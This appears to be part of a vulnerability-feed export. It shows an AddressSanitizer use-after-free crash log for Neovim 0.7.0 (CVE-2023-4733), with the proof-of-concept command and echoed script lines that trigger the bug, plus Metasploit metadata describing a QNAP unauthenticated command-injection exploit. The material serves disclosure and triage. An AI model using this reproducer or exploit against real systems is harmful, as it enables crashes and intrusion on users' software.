fa fa fa fa fa fa\n  0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4c7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd\n  0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==42398==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so CVE-2023-4733\n\nline 0: sourcing \"CVE-2023-4733\"\nline 1: ^B\n\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/CVE-2023-4733:\nline    1:\nE492: Not an editor command: ^B\nline 2: \n\nline 3: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\",ees^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<90>^P^\\ej^P^L^P^P^P^P0^P^P(^M^P^P^X\n\nline    3:\nE488: Trailing characters: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\nline 4: o^P^EO,'\n\nline    4:\nE488: Trailing characters: o^P^EO,'\nline 5: b\n\nline    5:\nE94: No matching buffer for \nline 6:  ^PN,'\n\nline    6:\nE492: Not an editor command:  ^PN,'\nline 7:  \n\nline 8: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\|\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSCd K t0]<80> \n:a\n\nline 9: ^Po^Sd\n\nline    9:\nE492: Not an editor command: ^Po^Sd\nline 10: nFK\n\nline   10:\nE492: Not an editor command: nFK\nline 11: t<8b>^Dl<9c>ll\n\nline   11:\nE16: Invalid range\nline 12: d K2\n\nline 13: d ^?\n\nline   13:\nE488: Trailing characters: d ^?\nline 14: d K\n\nline 15: t0\n\nline 16: n(Q\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 16: unlet! b:keymap_name\n\nline 17: t0H\n\nline 18: d ^?2\n\nline   18:\nE488: Trailing characters: d ^?2\nline 19: eGere ln\n\nline   19:\nE492: Not an editor command: eGere ln\nline 20: ln.lhe S$  ^_                 K\n\nline 21: t0\n\nline 22: }FKs<\n\nline   22:\nE492: Not an editor command: }FKs<\nline 23: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   23:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 24: -\n\nline 25: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 26: W\n\nline   26:\nE492: Not an editor command: W\nline 27: geeeeeeeeeeeee\n\nline   27:\nE492: Not an editor command: geeeeeeeeeeeee\nline 28: d<8b>\n\nline   28:\nE488: Trailing characters: d<8b>\nline 29:  @^P\n\nline   29:\nE354: Invalid register name: ''\nline 30: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 30: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 31: ^P\n\nline   31:\nE492: Not an editor command: ^P\nline 32: u\n\nAlready at oldest change\nline 33: <90>\n\nline   33:\nE492: Not an editor command: <90>\nline 34: <80> @d\n\nline   34:\nE492: Not an editor command: <80> @d\nline 35: uc\\^A\n\nline   35:\nE488: Trailing characters: uc\\^A\nline 36: g<9a>\n\nline   36:\nE35: No previous regular expression\nE476: Invalid command\nline 37: r\n\nline   37:\nE484: Can't open file \nline 38: d<8b>2\n\nline   38:\nE488: Trailing characters: d<8b>2\nline 39: W K2d K\n\nline   39:\nE492: Not an editor command: W K2d K\nline 40: t0]\n\nline 41: ^Po\"d\n\nline   41:\nE492: Not an editor command: ^Po\"d\nline 42: <8f>FK\n\nline   42:\nE492: Not an editor command: <8f>FK\nline 43: <85><8b>^De<89>ll\n\nline   43:\nE492: Not an editor command: <85><8b>^De<89>ll\nline 44: d 92\n\nline 45: d ^?\n\nline   45:\nE488: Trailing characters: d ^?\nline 46: t\n\nline   46:\nE16: Invalid range\nline 47: nFK^Rd\n\nline   47:\nE492: Not an editor command: nFK^Rd\nline 48: t0]\n\nline 49: eere ln^P^P^X\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 49: unlet! b:keymap_name\n\nline 50: o^P^EO,'\n\nline   50:\nE488: Trailing characters: o^P^EO,'\nline 51: b\n\nline   51:\nE94: No matching buffer for \nline 52:  ^PN,'\n\nline   52:\nE492: Not an editor command:  ^PN,'\nline 53:  \n\nline 54: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSSd K t0]<80> \n:a\n\nline 55: ^Po^Sd\n\nline   55:\nE492: Not an editor command: ^Po^Sd\nline 56: nFK\n\nline   56:\nE492: Not an editor command: nFK\nline 57: t<8b>^Dl<9c>ll\n\nline   57:\nE16: Invalid range\nline 58: d K2\n\nline 59: d ^?\n\nline   59:\nE488: Trailing characters: d ^?\nline 60: d K\n\nline 61: t0\n\nline 62: nFQ\n\nline   62:\nE492: Not an editor command: nFQ\nline 63: t0H\n\nline 64: d ^?2\n\nline   64:\nE488: Trailing characters: d ^?2\nline 65: eGere ln\n\nline   65:\nE492: Not an editor command: eGere ln\nline 66: ln.lhe S$  ^_                 K\n\nline 67: t0\n\nline 68: }FKs<\n\nline   68:\nE492: Not an editor command: }FKs<\nline 69: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   69:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 70: -\n\nline 71: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 72: W\n\nline   72:\nE492: Not an editor command: W\nline 73: geeeeeeeeeeeee\n\nline   73:\nE492: Not an editor command: geeeeeeeeeeeee\nline 74: d<8b>\n\nline   74:\nE488: Trailing characters: d<8b>\nline 75:  @^P\n\nline   75:\nE354: Invalid register name: ''\nline 76: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 76: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 77: ^P\n\nline   77:\nE492: Not an editor command: ^P\nline 78: u\n\n2 fewer lines; before #1  0 seconds ago\nline 79: <90>\n\nline   79:\nE492: Not an editor command: <90>\nline 80: <80> @d\n\nline   80:\nE492: Not an editor command: <80> @d\nline 81: uc\\^A\n\nline   81:\nE488: Trailing characters: uc\\^A\nline 82: g<9a>\n\nline   82:\nE35: No previous regular expression\nE476: Invalid command\nline 83: r\n\nline   83:\nE484: Can't open file \nline 84: d<8b>2\n\nline   84:\nE488: Trailing characters: d<8b>2\nline 85: W K2d K\n\nline   85:\nE492: Not an editor command: W K2d K\nline 86: i0]\n\nline   86:\nE488: Trailing characters: i0]\nline 87: ^Po\"d\n\nline   87:\nE492: Not an editor command: ^Po\"d\nline 88: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\n\nline   88:\nE492: Not an editor command: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\nline 89: d 92\n\nline 90: d ^?\n\nline   90:\nE488: Trailing characters: d ^?\nline 91: _ K\n\nline   91:\nE492: Not an editor command: _ K\nline 92: t\n\nline   92:\nE16: Invalid range\nline 93: nFK^Rd\n\nline   93:\nE492: Not an editor command: nFK^Rd\nline 94: t0]\n\nline 95: eere ln\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 95: unlet! b:keymap_name\n\nline 96: ln.lhe  $  ^_*        ooooooooo  :     2\n\nline 97: eGere ln\n\nline   97:\nE492: Not an editor command: eGere ln\nline 98: lnt0!\n\nline   98:\nE492: Not an editor command: lnt0!\nline 99: ^Po^Sd\n\nline   99:\nE492: Not an editor command: ^Po^Sd\nline 100: nFS\n\nline  100:\nE492: Not an editor command: nFS\nline 101: t\n\nline  101:\nE16: Invalid range\nline 102: t0] ^?\n\nline 103: ^Po K\n\nline  103:\nE492: Not an editor command: ^Po K\nline 104: t0] ^?\n\nline 105: nFK\n\nline  105:\nE492: Not an editor command: nFK\nline 106: t\n\nline  106:\nE16: Invalid range\nline 107: t0]\n\nline 108: ^Po\n\nline  108:\nE492: Not an editor command: ^Po\nline 109: norm:a^P^P^P^L^P^Q ^P^P^P<87>\n:a\n\nline 110: ggggggggggggggggggggg^Ngr\n\nline  110:\nE492: Not an editor command: ggggggggggggggggggggg^Ngr\nline 111: br^N(\n\nline  111:\nE488: Trailing characters: br^N(\nline 112: ^\\elMl<84>\n\nline  112:\nE492: Not an editor command: ^\\elMl<84>\nline 113: new\n\nline 113: unlet! b:keymap_name\n\nline 114: autocmd ModeChanged v:* ++once close\n\nline 115: vnoremap x enew\n\nline 116: norm vx\nline 116: enew\n\nExecuting ModeChanged Autocommands for \"v:*\"\nautocommand close\n\nExecuting: close\n=================================================================\n==42437==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003308 at pc 0x0000006a9285 bp 0x7fff66f63400 sp 0x7fff66f633f8\nREAD of size 8 at 0x626000003308 thread T0\n    #0 0x6a9284 in buflist_altfpos /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2949:46\n    #1 0x8f10ae in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2412:9\n    #2 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #3 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #4 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #5 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #6 0xc74218 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4082:20\n    #7 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #8 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #9 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #10 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #11 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #12 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #13 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #14 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #15 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #16 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #17 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #18 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #19 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #20 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #21 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #22 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #23 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x626000003308 is located 520 bytes inside of 10896-byte region [0x626000003100,0x626000005b90)\nfreed by thread T0 here:\n    #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n    #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x68d64e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1892:7\n    #3 0x69088d in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1504:10\n    #4 0xfc8e92 in may_trigger_modechanged /home/zzw/Desktop/neovim/build/../src/nvim/state.c:256:3\n    #5 0xc58540 in end_visual_mode /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2302:3\n    #6 0xc59ada in reset_VIsual /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2323:5\n    #7 0x8f0d6f in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2385:3\n    #8 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #9 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #12 0xc74218 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4082:20\n    #13 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #14 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #15 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #16 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #17 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #18 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #19 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #20 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #21 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #22 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #23 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #24 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #25 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #26 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #27 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #28 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n    #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x1164d49 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4934:19\n    #3 0x1172431 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1199:12\n    #4 0x115bf46 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:949:10\n    #5 0x9661f7 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7262:14\n    #6 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #7 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #8 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #9 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #10 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #11 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #12 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #13 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #14 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #15 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #16 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2949:46 in buflist_altfpos\nShadow bytes around the buggy address:\n  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8660: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8690: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff86a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff86b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==42437==ABORTING", "creation_timestamp": "2026-09-06T14:16:49.092225Z"}, {"uuid": "dad6883c-8e3e-4d03-8b00-175de7f5108e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/qnap_qts_rce_cve_2023_47218.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"sfewer-r7\", \"Spencer McIntyre\", \"jheysel-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and\\n          QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage\\n          (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.\\n\\n          The vulnerable endpoint is the quick.cgi component, exposed by the device's web based administration feature.\\n          The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used\\n          during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully\\n          initialized, the quick.cgi component is disabled on the system.\\n\\n          An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command\\n          injection, allowing the attacker to execute arbitrary commands on the device.\", \"disclosure_date\": \"2024-02-13\", \"fullname\": \"exploit/linux/http/qnap_qts_rce_cve_2023_47218\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 13:20:20 +0000\", \"name\": \"QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/qnap_qts_rce_cve_2023_47218.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/qnap_qts_rce_cve_2023_47218\", \"references\": [\"CVE-2023-47218\", \"URL-https://www.qnap.com/en/security-advisory/qsa-23-57\", \"URL-https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Default\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:53.541300Z"}]}